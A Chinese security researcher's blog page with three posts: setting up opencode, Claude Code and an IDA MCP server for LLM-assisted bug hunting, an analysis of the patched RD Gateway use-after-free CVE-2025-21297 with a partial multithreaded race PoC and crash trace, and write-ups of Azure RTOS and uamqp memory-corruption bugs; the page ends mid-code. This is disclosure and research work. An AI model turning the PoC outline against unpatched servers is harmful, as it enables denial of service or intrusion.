VictorV的小博客

在windows安装opencode和vscode, 体验大模型辅助编程, 并结合ida mcp进行漏洞发现

2026-03-13T03:58:41.045Z

感受了一周的vibe coding, 选择合适的工具和构建环境也够我折腾, 也是踩了不少坑, 最后总结一下自己的经验, 方便大家开始.

前言

现在大家都在用claude code, 但是由于它的封闭性, 动不动就封, 我最后还是选择了opencode, 拥抱开放自由. 体验了opencode的ui, 发现并不好用, 于是希望可以和vscode结合. 虽然有官方插件, 但是一直因为安装问题, 插件没法正常运行, 有些opencode的配置我也不太了解. 摸索了一番后, 我总结了一些我遇到的问题, 希望可以帮助大家.

另外也探索了一下claude code, ida的mcp配置, 大模型漏洞挖掘的流程, 我也会在后文介绍这些内容.

安装opencode

通过安装程序安装有UI版本

首先, 点击此处https://opencode.ai/zh/download 下载官方的windows软件, 按照提示开始安装opencode.

安装完成后, 插件桌面的图标, 在桌面图标右键, 选择”打开文件所在位置”:

我们可以把opencode-cli.exe 这个程序复制到你喜欢的路径. 改名成opencode.exe

然后, win+R, 输入 sysdm.pl

选择”高级”->”环境变量”

如上所示, 我将路径”C:\test”目录添加到了Path里. 添加完成后, 点击确认, 结束配置环境变量.

完成后, 这样在命令行输入opencode, 就可以打开opencode的命令行程序了.

通过npm安装命令行版本

确保你装了nodejs
执行npm i -g opencode-ai完成安装
打开cmd终端，执行ren %userprofile%\appdata\roaming\npm\opencode.ps1 opencode.ps1.bak, 输入opencode就可以看到opencode的命令行程序了.

默认情况下, 在命令行运行opencode启动的是powershell脚本, %userprofile%\appdata\roaming\npm\opencode.ps1, 虽然可以通过Set-ExecutionPolicy -ExecutionPolicy Restricted -Scope CurrentUser禁用, 但是它不够安全. 最好是将该脚本重命名, 让它默认运行opencode.cmd脚本.

虽然npm安装很简单, 我个人还是建议用ui版本, 用起来有时候会简单一点.

安装vscode

进入https://code.visualstudio.com/download, 选择windows安装包, 下载安装.

安装vscode的opencode插件

安装完成后, 右上角就有个图标了:

点击图标, 看到它运行命令后, 就可以看到opencode了:

可以通过ctrl+p设置它, 快捷键功能参考opencode的显示.

配置opencode, 添加mcp

配置文件全局的配置路径%UserProfile%\.config\opencode\opencode.json , 一开始没有任何配置的情况下, 这个文件不存在.

项目的配置文件是在打开的项目的根目录的opencode.json文件里.

假如我们想添加一个mcp, 可以如下添加到opencode.json文件里:

{
  "mcp": {
    "my_ida-mcp":{
      "type":"remote",
      "url": "http://127.0.0.1:18888/mcp",
      "enabled": false
    }
  }
}

添加后, 打开opencode的带界面的程序:

如图指示, 就可以看到添加的mcp工具了. 如果设置了"enabled": true, 它默认就会连接. 我们再次打开vscode的opencode 终端, 在设置里也可以看到这个mcp了.

注意, 此处只展示了添加mcp, 如何运行mcp server, 取决于你安装的mcp工具.

添加大模型api

默认情况下, 它自带一些免费的体验模型, 也可以自己定义连接模型. 以下以kimi为例:

根据官方文档: https://platform.moonshot.cn/docs/api/chat#%E5%85%AC%E5%BC%80%E7%9A%84%E6%9C%8D%E5%8A%A1%E5%9C%B0%E5%9D%80, 可以看到例子:

from openai import OpenAI
 
client = OpenAI(
    api_key = "$MOONSHOT_API_KEY",
    base_url = "https://api.moonshot.cn/v1",
)
 
completion = client.chat.completions.create(
    model = "kimi-k2-turbo-preview",
    messages = [
        {"role": "system", "content": "你是 Kimi，由 Moonshot AI 提供的人工智能助手，你更擅长中文和英文的对话。你会为用户提供安全，有帮助，准确的回答。同时，你会拒绝一切涉及恐怖主义，种族歧视，黄色暴力等问题的回答。Moonshot AI 为专有名词，不可翻译成其他语言。"},
        {"role": "user", "content": "你好，我叫李雷，1+1等于多少？"}
    ],
    temperature = 0.6,
)
 
print(completion.choices[0].message.content)

在opencode中, 选择模型:

之后选择查看更多:

选择自定义, 添加如下内容:

之后需要添加模型id, 可以参考 https://platform.moonshot.cn/docs/pricing/chat#%E8%AE%A1%E8%B4%B9%E9%80%BB%E8%BE%91 页面的模型定价, 添加模型id:

最后提交即可添加模型. 最后选择我们添加的模型, 输入内容, 如果正确应答, 就算成功.

对话

默认有两种模式: plan和build, plan模式是不能写文件的, 我建议一般情况下, 都可以先用plan问问看它要干啥, 然后再切build, 否则一次性被改了很多文件后, 不满意还得一个个改, 很累.

注意事项

如果在vscode里使用opencode, 输入数据尽量不要复制粘贴, 它默认情况下会识别换行符, 导致输入不完整就开始思考了.

claude code

虽然claude的模型需要花钱, 但是它的client是可以免费用的.

1
2
3

npm config set proxy http://192.168.50.5:7890
npm config set https-proxy http://192.168.50.5:7890
npm install -g @anthropic-ai/claude-code

安装完, 输入claude就进入claude的命令行程序了.

如果提示需要git的bash, 可以访问https://git-scm.com/install/windows下载安装, 默认安装配置即可.

运行起命令行程序后, 在对话中输入 “/“, 根据提示, 输入不同的命令就可以配置claude.

claude的大模型接口配置在环境变量中, 我们可以在powershell中配置这些环境变量. 如果要使用kimi, 它的环境变量如下:

powershell> $env:ANTHROPIC_BASE_URL="https://api.moonshot.cn/anthropic";
powershell> $env:ANTHROPIC_AUTH_TOKEN="YOUR_MOONSHOT_API_KEY"
powershell> $env:ANTHROPIC_MODEL="kimi-k2.5"
powershell> $env:ANTHROPIC_DEFAULT_OPUS_MODEL="kimi-k2.5"
powershell> $env:ANTHROPIC_DEFAULT_SONNET_MODEL="kimi-k2.5"
powershell> $env:ANTHROPIC_DEFAULT_HAIKU_MODEL="kimi-k2.5"
powershell> $env:CLAUDE_CODE_SUBAGENT_MODEL="kimi-k2.5"
powershell> $env:ENABLE_TOOL_SEARCH=false

配置了后, 再输入claude进入命令行程序, 输入/status确认模型状态 .

如果要换其它的api, 请参考各自的官方文档进行设置.

安装IDA-PRO-MCP

ida-pro-mcp是目前比较全面的关于ida的mcp工具. 它支持调试和各种ida功能, 实战中已经比较好用了. 下面一起来安装和使用它.

安装python 3.10以上系列, 确保安装时, 有设置添加环境变量选项:
完成python安装后, 启动新的powershell, 运行pip install https://github.com/mrexodia/ida-pro-mcp/archive/refs/heads/main.zip
如果需要代理, 末尾添加 --proxy http://127.0.0.1:7890的形式添加你的代理.
进入已安装的ida目录:C:\Program Files\IDA Professional 9.1\idalib\python
执行python ./py-activate-idalib.py
运行python, 执行import idapro, 如果不报错, 就证明安装idalib成功了.
uv是一个类似pip的python包管理器, 使用pip install uv安装它.

运行ida-pro-mcp server

运行uv run idalib-mcp --host 127.0.0.1 --port 8745 C:\Users\test\Desktop\concrete-202504.dll.i64, 就启动了server, 并打开了数据库 concrete-202504.dll.i64:

PS C:\Program Files\IDA Professional 9.1\idalib\python> uv run idalib-mcp --host 127.0.0.1 --port 8745  C:\Users\test\Desktop\concrete-202504.dll.i64

Loading IDA library from: C:\Program Files\IDA Professional 9.1\idalib.dll
INFO:ida_pro_mcp.idalib_server:idalib session mode: shared-fallback
INFO:ida_pro_mcp.idalib_session_manager:IDASessionManager initialized
INFO:ida_pro_mcp.idalib_server:opening initial database: C:\Users\test\Desktop\concrete-202504.dll.i64
INFO:ida_pro_mcp.idalib_session_manager:Opening database: C:\Users\test\Desktop\concrete-202504.dll.i64 (session: 0fd5a8f1)
INFO:ida_pro_mcp.idalib_session_manager:Auto-analysis completed (session: 0fd5a8f1)
INFO:ida_pro_mcp.idalib_session_manager:Session created: 0fd5a8f1 for concrete-202504.dll.i64
INFO:ida_pro_mcp.idalib_server:Initial session created: 0fd5a8f1
INFO:ida_pro_mcp.idalib_session_manager:Bound context shared:fallback -> session 0fd5a8f1
INFO:ida_pro_mcp.idalib_server:Bound startup session 0fd5a8f1 to context shared:fallback
[MCP] Server started:
  Streamable HTTP: http://127.0.0.1:8745/mcp
  SSE: http://127.0.0.1:8745/sse

它官方的sse接口有问题, 我们配置的时候用 /mcp这个端点.

opencode的配置我已经在之前提过了, claude的配置是在命令行运行:

$> claude mcp add ida-pro-mcp --transport http http://127.0.0.1:8745/mcp
Added HTTP MCP server ida-pro-mcp with URL: http://127.0.0.1:8745/mcp to local config
File modified: C:\Users\test\.claude.json [project: C:\Users\test\Desktop\ida9_1]

$> claude mcp list
Checking MCP server health...

ida-pro-mcp: http://127.0.0.1:8745/mcp (HTTP) - ✓ Connected

如果你想使用mcp, 可以在聊天界面对话”列出当前支持的mcp工具”, 如果输出没问题, 就可以让ai自动开始了.

ida-mcp-s2

我自己觉得ida-pro-mcp工具不支持多实例访问, 代码架构也挺复杂, 懒得改它, 就基于它写了个简洁版本: ida-mcp-s2, 目前是基于ida9.1的idalib写的api, 如果遇到兼容性问题. 可以自行修改项目的ida_functions.py的函数实现. 主要功能和ida-pro-mcp是差不多的, 只不过它把一些功能细化了, 实际上常规功能就能实现.

另外, https://github.com/Captain-AI-Hub/IDA-MCP/tree/master 这个项目似乎基于ida-pro-mcp做了点改动, 支持了多实例的功能, 有兴趣也可以试试.

漏洞挖掘

有了大模型后, 我尝试了aaedge.dll, 让大模型来复现我发现过的历史漏洞, 让ai写了个提示词:

角色设定：
你是一名顶尖二进制安全研究员，专注于漏洞挖掘与高级 CTF 挑战。你拥有 IDA Pro 的 MCP 访问权限，能够精准还原 C++ 类成员关系、追踪跨函数数据流，并具备极强的逻辑严密性。
核心原则：
零信任假设： 默认认为代码是安全的，直到找到无法反驳的逻辑矛盾。
内存布局感知： 分析时需考虑 this 指针偏移、虚表调用（vtable）及对象生存周期（UAF/Double Free 风险）。
动态路径解析： 密切关注我标注的函数地址（如 0x18004ae40），若涉及关键逻辑，应主动申请分析该地址。
任务目标：
针对 CAAHttpServerTransport::IoCompletionCallback 展开深度审计，挖掘以下漏洞：
内存破坏： OOB、缓冲区溢出、整数溢出导致的内存申请错误。
逻辑与状态机： HTTP 协议解析中的状态混乱、未初始化结构体成员。
生命周期管理： 异步回调中的 this 指针或上下文对象（Context）的 UAF（Use-After-Free）。
并发安全： 回调触发时的竞态条件。
工作流程（逐步确认模式）：
结构还原： 首先调用 get_pseudocode 分析 IoCompletionCallback，推断关键结构体（如 ConnectionContext 或 HttpRequest）的布局，并标记出攻击者可控的字段。
路径探索： 识别函数内部的分支逻辑。遇到我标注的动态调用地址，优先评估其重要性。
漏洞推演： 发现可疑点后，必须构建完整的“触发链”：[输入源] -> [数据传递] -> [错误逻辑] -> [内存/状态损坏]。
审判者模式： 在向我报告漏洞前，必须列出至少两个“该处不是漏洞”的可能原因，并逐一排除。
交互约束：
每步一停： 每完成一个函数的初步分析或结构体推断，必须总结当前结论并询问“是否深入分析某分支或继续下一步”。
协助请求： 遇到无法确定的偏移量含义、未知的全局变量用途或复杂的宏定义时，立即向我提问。
输出规范：
发现点： [函数名+偏移/地址]
数据流向： 描述受控数据如何到达触发点。
反驳理由： 为什么这可能是一个误报？
确认逻辑： 最终判定为漏洞的决定性证据。

把提示词输入对话框, 接着就等大模型自己调用mcp访问ida数据库, 开始挖掘了.(我的提示词不一定靠谱, 我也还在摸索中.)

Windows Remote Desktop Gateway (RD Gateway) CVE-2025-21297的介绍

2025-05-15T03:39:12.510Z

时隔多月, 也是时候分享一个RDG的案例了. 这是一个全局变量初始化竞争导致的UAF问题. 在azure的挖掘中, 我渐渐熟悉了在开源软件里发现竞争性漏洞的感觉, 在这个case里, 我在binary程序中也找到了发现竞争漏洞的感觉.

配置RDG环境

准备虚拟机, 安装未修补漏洞的windows server.
安装 RDG 服务
wait until finish installation:
select tools to open RDG manager:
创建自签名证书:
最后点击”OK”:
创建 RDCAP:
选择用户组:
点击 “OK”.
创建 RDRAP:
点击”OK”.

获取进程id:

漏洞介绍

在aaedge.dll!CTsgMsgServer::GetCTsgMsgServerInstance里, 会初始化全局变量CTsgMsgServer::m_pMsgSvrInstance:

struct CTsgMsgServer *CTsgMsgServer::GetCTsgMsgServerInstance(void)
{
  v0 = CTsgMsgServer::m_pMsgSvrInstance;
  if ( CTsgMsgServer::m_pMsgSvrInstance )// a0
    goto LABEL_9;
  v1 = operator new(0x70ui64);
  if ( v1 )
  {
    v1->ref = 1;
    CTsgMsgServer::m_pMsgSvrInstance = v1; // a1
    ......
    v0 = CTsgMsgServer::m_pMsgSvrInstance;
LABEL_9:
    v4 = (v0 + *(v0->_0_60h_0h + 4i64));
    (v4->f_0h->func_AddRef_CAAAuthenticateUserSink_180006ce0_0h)(v4);
    return CTsgMsgServer::m_pMsgSvrInstance;// a2
  }

如上所示, 在a1位置, 设置了指针给CTsgMsgServer::m_pMsgSvrInstance, 在a2位置, 返回值用的是全局变量CTsgMsgServer::m_pMsgSvrInstance.

现在设想一个如下场景:

socket1连接服务, 进入了该函数a0位置, 由于CTsgMsgServer::m_pMsgSvrInstance没有初始化, 所以进入到申请内存阶段, 此时还没有到达a1.
socket2同时连接服务, 进入了该函数, 由于socket1的流程还没有到a1, 所以CTsgMsgServer::m_pMsgSvrInstance还是没有初始化, 因此也进入申请内存阶段.
socket1运行至a1位置, 将heap1赋值给全局变量. 之后运行至a2位置, 准备通过全局变量返回heap1指针.
socket2运行至a1位置, 用heap2覆盖了CTsgMsgServer::m_pMsgSvrInstance存储的heap1的值. heap2->ref 是 1.
socket1运行结束, 将heap2作为结果返回, 并且heap2->ref 还是1.
socket2运行到a2, 返回heap2. 此时heap2->ref 是2.
socket1结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance, heap2->ref变成1
socket2结束时, 解引用CTsgMsgServer::m_pMsgSvrInstance, heap2->ref变成0, heap2被释放. CTsgMsgServer::m_pMsgSvrInstance变成悬挂指针.
当socket3连接时, 引用了悬挂指针, 导致UAF

这个全局变量只会初始化一次, 所以只有在服务第一次启动的时候是NULL的, 但是我们可以通过其它漏洞崩溃服务进程, 让它重启, 于是它又是NULL了.

补丁

官方添加了互斥锁, 避免了多线程同时进入初始化流程.

总结

其实这个uaf最大的问题在于返回值用的全局变量指针, 如果是临时变量指针v1, 至少不会导致引用计数错误. 同时, 也提醒我们要关注全局变量的初始化和引用, 避免竞争情况下的异常.

POC核心逻辑

def get_data(conId):
  data = 'GET /remoteDesktopGateway?......'
  return data

def main_logic():
  sock.send(get_data(conId).encode('utf-8'))
  sock.recv(1024)
  time.sleep(0.2)

  data = HandShakeRequest(0)
  data = websocket_data(b'xxxx', data)
  sock.send(data)
  sock.recv(1024)

  data = TunnelRequest(2)
  data = websocket_data(b'xxxx', data)
  wait_all_threads_ready_and_sync()
  sock.send(data)
  time.sleep(0.1)
  sock.close()
    
def exp():
  for _ in range(total_thread_nums):
    pool.submit(main_logic) // 使用多个线程竞争
  time.sleep(0.5)
  main_logic()// 模拟socket3行为

crash栈回溯

0:046> r
rax=0000000000000000 rbx=0000000000000000 rcx=000001aa4c74e7c0
rdx=000001aa4bfb4f90 rsi=000001aa4c74e7c0 rdi=000001aa4d2a0650
rip=00007ffa77957678 rsp=0000003a539fef60 rbp=0000000000000000
 r8=7ffffffffffffffc  r9=0000000000000000 r10=00000fff4ef319d4
r11=0000000004500000 r12=0000000000000001 r13=00007ffa779ce1c8
r14=000001aa4c74e7c0 r15=0000000000000000
iopl=0         nv up ei pl nz na po nc
cs=0033  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010206
aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8:
00007ffa`77957678 488b02          mov     rax,qword ptr [rdx] ds:000001aa`4bfb4f90=????????????????
0:046> k
 # Child-SP          RetAddr           Call Site
00 0000003a`539fef60 00007ffa`77952007 aaedge!CTsgMsgServer::GetCTsgMsgServerInstance+0xf8
01 0000003a`539fefa0 00007ffa`779528de aaedge!CServerTunnel::Initialize+0x57
02 0000003a`539ff030 00007ffa`7795cc20 aaedge!CAAServerTunnelFactory::InternalCreateNewTunnel+0x23a
03 0000003a`539ff0a0 00007ffa`7795c776 aaedge!CEdgeOperations::CreateTunnelWithUser+0x30
04 0000003a`539ff0e0 00007ffa`7799038a aaedge!CEdgeOperations::CreateTunnel+0x1d6
05 0000003a`539ff190 00007ffa`779929c9 aaedge!CAAHttpServerConnection::HandleTunnelRequestReceived+0x262
06 0000003a`539ff230 00007ffa`77989816 aaedge!CAAHttpServerConnection::OnReceiveDataComplete+0x1c9
07 0000003a`539ff4d0 00007ffa`7797d5c2 aaedge!CAAHttpServerTransport::WebSocketReceiveLoop+0x104e
08 0000003a`539ff640 00007ffa`7797e286 aaedge!CAAHttpServerTransport::HandleWebSocketReceiveRawDataCompletion+0x24e
09 0000003a`539ff6d0 00007ffa`94407c4f aaedge!CAAHttpServerTransport::IoCompletionCallback+0x266
0a 0000003a`539ff760 00007ffa`95a18e57 kernel32!BasepTpIoCallback+0x4f
0b 0000003a`539ff7b0 00007ffa`95a31f9e ntdll!TppIopExecuteCallback+0x1b7
0c 0000003a`539ff830 00007ffa`9440dbe7 ntdll!TppWorkerThread+0x57e
0d 0000003a`539ffb90 00007ffa`95a65a4c kernel32!BaseThreadInitThunk+0x17
0e 0000003a`539ffbc0 00000000`00000000 ntdll!RtlUserThreadStart+0x2c
0:046> !heap -p -a 1aa`4bfb4f90
ReadMemory error for address ffffffffffffffe8
Use `!address ffffffffffffffe8' to check validity of the address.
ReadMemory error for address ffffffffffffffe8
Use `!address ffffffffffffffe8' to check validity of the address.
    address 000001aa4bfb4f90 found in
    _DPH_HEAP_ROOT @ 1aa40001000
    in free-ed allocation (  DPH_HEAP_BLOCK:         VirtAddr         VirtSize)
                                1aa400465b0:      1aa4bfb4000             2000
    00007ffa95a64373 ntdll!RtlDebugFreeHeap+0x0000000000000037
    00007ffa95a0ba6e ntdll!RtlpFreeHeap+0x000000000000174e
    00007ffa95a09b80 ntdll!RtlpFreeNTHeapInternal+0x00000000000003f0
    00007ffa95a13414 ntdll!RtlpHpTagFreeHeap+0x0000000000000574
    00007ffa95a123bd ntdll!RtlFreeHeap+0x000000000000019d
    00007ffa94d7d61c msvcrt!free+0x000000000000001c
    00007ffa77956fd4 aaedge!CTsgMsgServer::`vector deleting destructor'+0x0000000000000034
    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027
    00007ffa7794fba2 aaedge!CServerTunnel::~CServerTunnel+0x00000000000000ce
    00007ffa7794fd90 aaedge!CServerTunnel::`vector deleting destructor'+0x0000000000000020
    00007ffa77909537 aaedge!CAABase::Release+0x0000000000000027
    00007ffa7798c816 aaedge!CAAHttpServerConnection::Cleanup+0x000000000000026e
    00007ffa779911ca aaedge!CAAHttpServerConnection::InternalShutdown+0x0000000000000486
    00007ffa77992768 aaedge!CAAHttpServerConnection::OnDisconnected+0x00000000000000b8
    00007ffa7797c03c aaedge!CAAHttpServerTransport::HandleDisconnected+0x00000000000003b0
    00007ffa7797e250 aaedge!CAAHttpServerTransport::IoCompletionCallback+0x0000000000000230
    00007ffa94407c4f kernel32!BasepTpIoCallback+0x000000000000004f
    00007ffa95a18e57 ntdll!TppIopExecuteCallback+0x00000000000001b7
    00007ffa95a31f9e ntdll!TppWorkerThread+0x000000000000057e
    00007ffa9440dbe7 kernel32!BaseThreadInitThunk+0x0000000000000017
    00007ffa95a65a4c ntdll!RtlUserThreadStart+0x000000000000002c

掌控微软Azure赏金计划(Mastering the Microsoft Azure Bounty Program)

2025-02-18T02:47:27.745Z

本来这个是打算在 Insomni’hack 2025 讲的, 由于个人原因没办法参与, 所以写个blog分享一下. 本文主要内容包括我是如何开始的Azure bounty program的研究, 如何扩展的研究, 以及部分成果的分享.

致谢

我在 Azure 下的所有成果都离不开肖伟大神的帮助, 感谢他的指导和分享.

我也非常感谢yuki chen的指导和分享, 这个故事里似乎没有他, 但是其实是他带我开始了azure之路. 而且他给我介绍了一个价值连城的目标(sqlcmd), 还无私分享了他的发现, 可是我自己太菜, 没有找出更多的问题, 错失了更进一步的机会. 而他后续又在这个目标发现了非常多的问题, 又一次让人望尘莫及地成为了top1, Orz.

我还要感谢 bee13oy , 他给我分享了sqlcmd的发现, 让我可以提高自身的水平, 弥补自己的大意. 如果我可以更仔细分析里面的每一个案例, 或许就不会错过这个目标了.

Azure Bounty Program 规则

知己知彼, 百战不殆. 要想挖微软的azure bounty program, 先看看他们规则咋写的(2022年时):

可以看到, 它规定了目标得是Azure Products页面里的产品.

不属于范围内的规则(2022年时):

因为我主要擅长二进制相关的安全研究, 所以我比较关注的是二进制相关的产品. 这里列举的 Azure Site Recovery和Azure Defender for IOT 就是二进制程序. 所以, 这个奖励计划其实是包括二进制程序的. (以前我并没有意识到这个事情, 当我知道的时候, 那两个目标已经属于Out of Scope了 (T-T), 错过了一波致富经. 好在机会还是有的, 这次我没错过:)

Azure 产品

访问上面bounty页面的azure产品链接, 就可以看到如下列表:

涵盖的产品非常多, 我只截取了一小部分. 而故事一开始的重点, 就在于Azure RTOS.

一开始, 是肖伟大神先看到了这个IOT系统, 鉴于微软的尿性, MSRC往往可能不认可该产品的漏洞属于Azure Bounty Program. 所以, 在提交之前, 我发了一封邮件给 bounty@microsoft.com, 问他们Azure RTOS的NextX和NetX Duo是否在奖励计划内, 好在这次他们答复了我:

然而, 有时候他们根本不会答复, 所以这次也很幸运.

一血 ICMP

在这一周内, 肖伟大神已经发现了好几个RCE的问题, 而我也开始了尝试, 希望可以在肖伟大神的后面拣点漏.

然而这块的代码还是比我想象中严谨, 我一开始并没有任何收获, 只有挫败感. 在肖伟大神分享了一两个发现后, 我才发现原来自己错过了那么多. 这也让我重新找回信心, 开始继续挖掘.

很快, 我在NetX发现了和肖伟大神在NetX Duo上发现的相似的问题, NetX Duo比NetX功能强大一点, 所以理论上NetX Duo应该包含NetX的代码, 没想到NetX还多了点bug.

一开始, 微软复现后, 就将NetX项目从Github移除了, 然后告诉我, 该项目已经被废弃, 不算在奖金范畴了, 于是我祭出当初的回复邮件, 以及他们给我的答复中关于项目何时被废弃的时间(即废弃时间在我提交bug的时间之后), 他们终于承认了这个漏洞并给予了奖励.

下面看看怎么回事:

ULONG  _nx_icmp_checksum_compute(NX_PACKET *packet_ptr)
{

ULONG      checksum =  0;
ULONG      long_temp;
USHORT     short_temp;
ULONG      length;
UCHAR     *word_ptr;
NX_PACKET *current_packet;


    /* Setup the length of the packet checksum.  */
    length =  packet_ptr -> nx_packet_length;

    /* Determine if we need to add a padding byte.  */
    if (((length / sizeof(USHORT)) * sizeof(USHORT)) != length)// tag2
    {
        /* We have single byte alignment and we need two byte alignment.  */
        length++;

        /* Determine if there is a last packet pointer.  */
        if (packet_ptr -> nx_packet_last)
        {
            /* Multi-packet message, add a zero byte at the end.  */
            *((packet_ptr -> nx_packet_last) -> nx_packet_append_ptr) =  0;// tag1
        }
        else
        {
            /* Write a zero byte at the end of the first and only packet.  */
            *(packet_ptr -> nx_packet_append_ptr) =  0; 
        }
    }

tag1处会向packet的nx_packet_append_ptr指向处写入0. 然而, 如果packet是ip 分片传入的, 它可以在nx_packet_append_ptr指向buffer末尾时, buffer长度还是奇数, 所以tag2的判断就成立, 导致越界写入了packet结构体的末尾. 而该结构体的末尾就是一个结构体指针, 所以刚好可能造成RCE.

二血 SNMP奖金池

在NetX Duo 的addon目录, 有很多网络服务:

其中, snmp, 就是此章节的重点, 我在其中总共发现了 12个漏洞, 虽然被合并了几个, 但是也足够幸运了.

简单列举一个案例:

    buffer_length = (INT)(packet_ptr -> nx_packet_length);

    /* Setup a pointer to the buffer.  */
    buffer_ptr =  packet_ptr -> nx_packet_prepend_ptr;
......
    
    do
    {
        variable_start_ptr =  buffer_ptr;
        length =  _nx_snmp_utility_sequence_get(buffer_ptr, &variable_length, buffer_length);
        total_variable_length =  variable_length + length;// tag1 length 为 len1
        
        ......
        
        buffer_ptr =  buffer_ptr + length;
        buffer_length -= (INT)length;
        length =  _nx_snmp_utility_object_id_get(buffer_ptr, agent_ptr -> nx_snmp_agent_current_octet_string, buffer_length);
        ......
        buffer_ptr =  buffer_ptr + length;
        buffer_length -= (INT)length;// tag2 length 为 len2
        ......
        if (length != variable_length)
        {
            length =  _nx_snmp_utility_object_data_get(buffer_ptr, &(agent_ptr -> nx_snmp_agent_current_object_data), buffer_length);
            ......
        }
        ......
        
        buffer_ptr =  variable_start_ptr + total_variable_length;
        variable_list_length =  variable_list_length - total_variable_length;
        objects++;

    } while (variable_list_length);

在一次循环里, buffer_ptr增加了 total_variable_length的长度, 即 variable_length + len1, buffer_length减少了len1+len2. 而事实上, len2不一定等于variable_length. 当 variable_length > len2时, 就会导致 buffer_ptr的剩余空间小于buffer_length的值. 而在_nx_snmp_utility_object_id_get 中, 会修改buffer的内容, 导致越界写入, 从而造成RCE.

snmp中其它的bug也差不多是这种越界写入的问题.

三血 FTP

VOID  _nx_ftp_server_command_process(NX_FTP_SERVER *ftp_server_ptr)
{
    ......
    client_req_ptr =  &(ftp_server_ptr -> nx_ftp_server_client_list[i]);
    ......
    switch(ftp_command)
    {
            ......
            case NX_FTP_QUIT:
            {
                if (client_req_ptr -> nx_ftp_client_request_packet)
                {

                    /* Yes, release it!  */
                    nx_packet_release(client_req_ptr -> nx_ftp_client_request_packet);
                }
                ......
                break;
            ......
            case NX_FTP_RNFR:
            {
                ......
                client_req_ptr -> nx_ftp_client_request_packet =  packet_ptr;

这个漏洞比较简单, 就是这个函数可以重复多次, 而释放操作并没有置零client_req_ptr -> nx_ftp_client_request_packet指针, 导致double free.

这个漏洞并不复杂, 我之所以要讲, 是因为我是通过vs code, 全局搜索所有的释放操作, 然后一个个检查是否有置零操作, 从而发现了它. 而我在AMQP项目也用同样的方法找到了好几个问题.

四血 double free

找完以上bug后, 似乎已经没什么新的问题了. 但是snmp中的一个问题, 引起了我的注意.

VOID  _nx_snmp_version_1_process(NX_SNMP_AGENT *agent_ptr, NX_PACKET *packet_ptr)
{
    
    do
    {
        variable_start_ptr =  buffer_ptr;
        ......
        if (length != variable_length)
        {
            length =  _nx_snmp_utility_object_data_get(buffer_ptr, &(agent_ptr -> nx_snmp_agent_current_object_data), buffer_length);
        if (length != variable_length)
        {

            /* Pickup the value associated with this variable.  */
            length =  _nx_snmp_utility_object_data_get(buffer_ptr, &(agent_ptr -> nx_snmp_agent_current_object_data), buffer_length);

            /* Determine if the object value was successful.  */ 
            if (length == 0) 
            {

                /* Increment the invalid packet error counter.  */
                agent_ptr -> nx_snmp_agent_invalid_packets++;

                /* Increment the internal error counter.  */
                agent_ptr -> nx_snmp_agent_internal_errors++;

                /* Send an SNMP version error response.  */
                _nx_snmp_version_error_response(agent_ptr, packet_ptr, request_type_ptr, error_ptr, NX_SNMP_ERROR_BADVALUE, objects+1); // 1. 函数有可能释放 packet_ptr

                /* Release the packet.  */
                nx_packet_release(packet_ptr);// 2. 直接释放 packet_ptr
        }
        ......

    } while (variable_list_length);
}

VOID  _nx_snmp_version_error_response(NX_SNMP_AGENT *agent_ptr, NX_PACKET *packet_ptr, UCHAR *request_type_ptr, 
                                      UCHAR *error_string_ptr, UINT error_code, UINT error_index)
{

    ......
    status =  nxd_udp_socket_send(&(agent_ptr -> nx_snmp_agent_socket), packet_ptr, 
                                                &(agent_ptr -> nx_snmp_agent_current_manager_ip),
                                                agent_ptr -> nx_snmp_agent_current_manager_port);

    if (status)
    {
        nx_packet_release(packet_ptr);
    }
    return;
}

从上述操作可以明显看到, 假如nxd_udp_socket_send返回非0结果, 它就会释放packet_ptr, 而上层函数不管发生了什么, 都会再次释放packet_ptr.

如果是单线程, 这其实是没有问题的, 因为nx_packet_release里有判断操作, 所以不会导致double free问题. 一开始我也是这么认为的. 直到某次测试时, 发现RTOS是多线程的. 然后重新重视起这个问题, 测试后发现, 确实可以多线程竞争, 造成double free的问题.

另外, 即使nxd_udp_socket_send发送成功, 也会在nxd_udp_socket_send内部的子函数实现中释放packet_ptr.

从这一个问题, 我就开始想, 是不是调用方并不知道nxd_udp_socket_send其实会释放packet?

通过遍历所有类似的调用函数, 我在不同模块里找到了7个相似问题. 还有几个还没有来得及确认, MSRC就已经将 RTOS加入out of scope了:

August 16, 2023: Added to out of scope – vulnerabilities found in Azure RTOS.

有好的目标确实应该不舍昼夜地挖, 不然你永远不知道他们什么时候不给钱了.

寻找下一个目标

在RTOS不给钱以后, 我只能再找找Azure的其它产品是否存在安全问题. 先后查看了以下产品:

Azure Data Factory
Azure Stack Development Kit
Azure Stack Hub
Azure Communication Services
Azure migrate
Azure Storage Explorer
Azure lustre
Spatial Anchors/Remote Rendering
Azure Object Anchors 
Azure Database Migration Service
Azure Monitor
Azure Update Manager
microsoft purview
Azure Arc
Service Fabric

上述产品并没有深入, 我不擅长, 所以就没有深入. 中间提交了azure iot-plug-and-play-bridge, Azure Kinect SDK Depth Engine 的漏洞, 最后不在奖励范围内. 于是我继续寻找新目标.

在一个个翻找azure的产品及说明文档, 寻找目标时, Github上的开源组件azure-uamqp-c吸引了我的注意力. 它是一个消息传输协议, 并且在多个服务中看到它的存在. 而且还开源. 所以我开始寻找它上面的问题.

一鱼三吃

在花了几天时间分析amqp后, 我找到了一个越界写入问题.

case 0xB0:
{
    if (internal_decoder_data->bytes_decoded < 4)
    {
        internal_decoder_data->decode_to_value->value.binary_value.length += buffer[0] << ((3 - internal_decoder_data->bytes_decoded) * 8);
        internal_decoder_data->bytes_decoded++;
        buffer++;
        size--;

        if (internal_decoder_data->bytes_decoded == 4)
        {
            if (internal_decoder_data->decode_to_value->value.binary_value.length == 0)
            {
                internal_decoder_data->decode_to_value->value.binary_value.bytes = NULL;
                internal_decoder_data->on_value_decoded(internal_decoder_data->on_value_decoded_context, internal_decoder_data->decode_to_value);
                result = 0;
            }
            else
            {
                internal_decoder_data->decode_to_value->value.binary_value.bytes = (unsigned char*)malloc((size_t)internal_decoder_data->decode_to_value->value.binary_value.length + 1); // 整数溢出
                if (internal_decoder_data->decode_to_value->value.binary_value.bytes == NULL)
                {
                    ......
                }
                else
                {
                    result = 0;
                }
            }
        }
        else
        {
            result = 0;
        }
    }
    else
    {
        size_t to_copy = internal_decoder_data->decode_to_value->value.binary_value.length - (internal_decoder_data->bytes_decoded - 4);
        if (to_copy > size)
        {
